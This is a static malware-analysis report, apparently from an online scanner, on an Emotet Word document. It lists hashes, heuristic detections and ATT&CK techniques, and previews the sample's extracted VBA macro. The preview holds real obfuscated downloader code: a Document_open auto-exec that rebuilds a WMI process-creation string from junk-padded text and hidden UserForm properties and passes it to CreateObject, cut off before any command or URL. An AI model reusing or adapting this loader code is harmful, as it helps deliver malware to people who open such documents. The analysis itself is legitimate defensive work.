Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 fba29ef907a87905…

MALICIOUS

Office (OLE)

229.2 KB Created: 2020-08-14 13:39:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: db5cbe72238514f783074489a684bdb3 SHA-1: 4ff0613bf222977d3c1a87d5a4b1af413f0e16ff SHA-256: fba29ef907a8790525fcff2cfe679305e27fa936ebba8306a8c78bbd21d0b258
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The ClamAV detection further supports this classification. The script's obfuscated nature and use of CreateObject suggest it is designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9321492-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9321492-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8121 bytes
SHA-256: 865c37ae518b467a18f7f7cfd8ac4fb8e2c74b2d36657a71cf7fdd09ff330211
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "T21ij7bqild"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Wc3pm1c1lic52.N6fjvz6amlrvphrnvb
End Sub


Attribute VB_Name = "Wc3pm1c1lic52"
Attribute VB_Base = "0{21EC88E0-2652-4852-9F94-F095A9F9CB8C}{7358074F-7940-48EB-9F37-472C2AFD978B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function N6fjvz6amlrvphrnvb()
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ow5zei695f9mr18w = Ow5zei695f9mr18w + 8: DoEvents
Loop
G6egm9x010n9ugum = Wc3pm1c1lic52.HelpContextId + 100
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ow5zei695f9mr18w = Ow5zei695f9mr18w + 8: DoEvents
Loop
Kovyrkix9z47vw66ex = ChrW(G6egm9x010n9ugum + (100 + 35) / 9)
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ow5zei695f9mr18w = Ow5zei695f9mr18w + 8: DoEvents
Loop
Iwjjfiegnkclfsh = "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vi72[snn h7&&2137gb]nJG[ 81sdasd2vnm72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vgm72[snn h7&&2137gb]nJG[ 81sdasd2vt72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v" + Kovyrkix9z47vw66ex + "72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v:72[snn h7&&2137gb]nJG[ 81sdasd2vw72[snn h7&&2137gb]nJG[ 81sdasd2vin72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2v372[snn h7&&2137gb]nJG[ 81sdasd2v272[snn h7&&2137gb]nJG[ 81sdasd2v_72[snn h7&&2137gb]nJG[ 81sdasd2v" + Wc3pm1c1lic52.Z1q28iz2_md11prkt + "72[snn h7&&2137gb]nJG[ 81sdasd2vro72[snn h7&&2137gb]nJG[ 81sdasd2v72[snn h7&&2137gb]nJG[ 81sdasd2vce72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2vs72[snn h7&&2137gb]nJG[ 81sdasd2v"
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ow5zei695f9mr18w = Ow5zei695f9mr18w + 8: DoEvents
Loop
Sbdirk8tmgxacxpsfm = Lg1qi7igjuoxuxja(Iwjjfiegnkclfsh)
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ow5zei695f9mr18w = Ow5zei695f9mr18w + 8: DoEvents
Loop
Set H5pr4tjdp7ga9j = CreateObject(Sbdirk8tmgxacxpsfm)
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ow5zei695f9mr18w = Ow5zei695f9mr18w + 8: DoEvents
Loop
X97ch7vtoc8m = Wc3pm1c1lic52.W33z3numjrj8h.ControlTipText
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ow5zei695f9mr18w = Ow5zei695f9mr18w + 8: DoEvents
Loop
Bl5fx5xya148hdev = N92qkzwncpr4g + (Sbdirk8tmgxacxpsfm + Kovyrkix9z47vw66ex + Wc3pm1c1lic52.G4g4vozybiykp2c.ControlTipText + X97ch7vtoc8m)
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIMkDeCUuR = gIMkDeCUuR & CStr(xHXDVHDKTS)
HspHPvHBdw = gIMkDeCUuR
Ow5zei695f9mr18w = Ow5zei695f9mr18w + 8: DoEvents
Loop
Nzmau7kabia9ke7lal = Bl5fx5xya148hdev + Wc3pm1c1lic52.Z1q28iz2_md11prkt
   Ow5zei695f9mr18w = 4
Do While Ow5zei695f9mr18w < 4 + 3
gIMkDeCUuR = "teboqscFfl"
xHXDVHDKTS = 486219
gIM
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.